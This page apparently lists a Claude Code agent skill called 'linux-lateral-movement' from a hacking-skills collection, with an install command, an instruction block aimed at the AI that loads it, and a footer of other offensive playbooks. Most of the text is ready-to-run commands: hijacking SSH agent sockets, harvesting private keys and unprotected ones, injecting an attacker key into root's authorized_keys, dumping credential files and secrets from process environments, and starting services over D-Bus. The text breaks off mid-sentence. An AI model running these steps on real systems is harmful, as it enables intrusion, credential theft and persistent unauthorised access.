401-403-bypass-techniq…
401/403 bypass playbook. Use when encountering access-denied responses on admin panels, API endpoints, or restricted paths. Covers path manipulation, HTTP…
Linux lateral movement playbook. Use after gaining initial access to pivot across Linux hosts via SSH hijacking, credential harvesting, internal pivoting, D-Bus exploitation, sudo token reuse, and shared filesystem abuse.
$ npx -y skills add yaklang/hack-skills --skill linux-lateral-movement --agent claude-codeHow it fires
How this skill gets triggered: by you, by Claude, or both.
/linux-lateral-movementContext preview
The summary Claude sees to decide when to auto-load this skill.
Linux lateral movement playbook. Use after gaining initial access to pivot across Linux hosts via SSH hijacking, credential harvesting, internal pivoting, D-Bus exploitation, sudo token reuse, and shared filesystem abuse.
name: linux-lateral-movement description: >- Linux lateral movement playbook. Use after gaining initial access to pivot across Linux hosts via SSH hijacking, credential harvesting, internal pivoting, D-Bus exploitation, sudo token reuse, and shared filesystem abuse.
> **AI LOAD INSTRUCTION**: Expert Linux lateral movement techniques. Covers SSH agent hijacking, key harvesting, credential locations, D-Bus exploitation, network pivoting, sudo token reuse, and systemd manipulation. Base models miss SSH_AUTH_SOCK hijacking and ptrace-based sudo session hijack.
Before going deep, consider loading:
---
# As root (or user with access to other users' processes): find /tmp -path "*/ssh-*" -name "agent.*" 2>/dev/null # Or via /proc: grep -r SSH_AUTH_SOCK /proc/*/environ 2>/dev/null | tr '\0' '\n' # Typical path: /tmp/ssh-XXXXXX/agent.PID
# Set the found socket as our auth agent export SSH_AUTH_SOCK=/tmp/ssh-AbCdEf/agent.12345 # List available keys in the agent ssh-add -l # If keys appear → we can use them # SSH to any host this agent can authenticate to ssh -o StrictHostKeyChecking=no user@internal-host # The agent owner won't notice — we're using their forwarded agent
# Monitor for new SSH agent sockets (wait for admin to SSH in)
inotifywait -m /tmp -e create 2>/dev/null | grep ssh-
# Or poll:
while true; do
find /tmp -path "*/ssh-*" -name "agent.*" -newer /tmp/.marker 2>/dev/null
touch /tmp/.marker
sleep 5
done---
find / -name "id_rsa" -o -name "id_ed25519" -o -name "*.pem" -o -name "*.key" 2>/dev/null
# Also: /etc/ssh/ssh_host_*_key (MITM), /home/*/.ssh/id_*
# Find keys without passphrase:
for key in $(find / -name "id_*" ! -name "*.pub" 2>/dev/null); do
ssh-keygen -y -P "" -f "$key" > /dev/null 2>&1 && echo "NO PASSPHRASE: $key"
done# Hashed known_hosts (common default):
cat ~/.ssh/known_hosts
# May be hashed — use ssh-keygen to check against known IPs:
ssh-keygen -F 10.0.0.1 -f ~/.ssh/known_hosts
# Unhashed known_hosts → direct IP/hostname list
awk '{print $1}' ~/.ssh/known_hosts | sort -u
# Extract all hostnames/IPs from all users' known_hosts
cat /home/*/.ssh/known_hosts /root/.ssh/known_hosts 2>/dev/null \
| awk '{print $1}' | tr ',' '\n' | sort -u# Generate attacker keypair (on attacker box) ssh-keygen -t ed25519 -f /tmp/pivot_key -N "" # Inject public key (on compromised host) echo "ssh-ed25519 AAAA...attacker_pubkey..." >> /root/.ssh/authorized_keys echo "ssh-ed25519 AAAA...attacker_pubkey..." >> /home/admin/.ssh/authorized_keys # SSH back in with our key ssh -i /tmp/pivot_key root@target
---
| Location | Contents | Command | |---|---|---| | `/etc/shadow` | Password hashes | `cat /etc/shadow` (root) | | `/etc/passwd` | User list, may contain hashes | `cat /etc/passwd` | | `.bash_history` | Command history (passwords in cleartext) | `cat /home/*/.bash_history` | | `.mysql_history` | MySQL commands with passwords | `cat /home/*/.mysql_history` | | `.psql_history` | PostgreSQL commands | `cat /home/*/.psql_history` | | `.pgpass` | PostgreSQL password file | `cat /home/*/.pgpass` | | `.my.cnf` | MySQL credentials | `cat /home/*/.my.cnf` | | `.netrc` | FTP/HTTP auto-login credentials | `cat /home/*/.netrc` | | `.git-credentials` | Git HTTPS passwords | `cat /home/*/.git-credentials` |
# Current process secrets
env | grep -iE "pass|key|secret|token|api|cred|auth"
# All process environments (root):
for pid in /proc/[0-9]*; do
cat $pid/environ 2>/dev/null | tr '\0' '\n' | grep -iE "pass|key|secret|token"
done
# Application configs (common credential locations):
find /var/www /opt /srv -name "wp-config.php" -o -name "settings.py" \
-o -name "*.env" -o -name "database.yml" -o -name "docker-compose.yml" 2>/dev/null
# Keyrings & secret stores:
find / -name "*.keyring" -o -name ".vault-token" -o -path "*/.password-store/*.gpg" 2>/dev/null---
# List system bus services dbus-send --system --dest=org.freedesktop.DBus \ --type=method_call --print-reply \ /org/freedesktop/DBus org.freedesktop.DBus.ListNames # List session bus services dbus-send --session --dest=org.freedesktop.DBus \ --type=method_call --print-reply \ /org/freedesktop/DBus org.freedesktop.DBus.ListNames # Introspect a service (find available methods) dbus-send --system --dest=org.freedesktop.systemd1 \ --type=method_call --print-reply \ /org/freedesktop/systemd1 org.freedesktop.DBus.Introspectable.Introspect
# Start a service via D-Bus (if policy allows): dbus-send --system --dest=org.freedesktop.systemd1 \ --type=method_call --print-reply /org/freedesktop/systemd1 \ org.freedesktop.systemd1.Manager.StartUnit \ string:"malicious.service" string:"replace" # polkit actions available without a
Master Entry → Category Entries → Deep Topic Skills One master entry, six category entries, and 102 deep topic skills across 14 security domains.
Repo: yaklang/hack-skills
401/403 bypass playbook. Use when encountering access-denied responses on admin panels, API endpoints, or restricted paths. Covers path manipulation, HTTP…
Active Directory ACL abuse playbook. Use when exploiting misconfigured AD permissions including GenericAll, WriteDACL, DCSync rights, shadow credentials, LAPS…
AD Certificate Services attack playbook. Use when targeting misconfigured AD CS for privilege escalation via ESC1-ESC13 template abuse, NTLM relay to…
Kerberos attack playbook for Active Directory. Use when targeting AD authentication via AS-REP roasting, Kerberoasting, golden/silver/diamond tickets,…
AI/ML security playbook. Use when assessing model supply chain attacks (pickle RCE, poisoned weights), adversarial examples, model poisoning, model stealing,…
Android pentesting playbook. Use when testing Android applications for SSL pinning bypass, exported component abuse, WebView vulnerabilities, intent…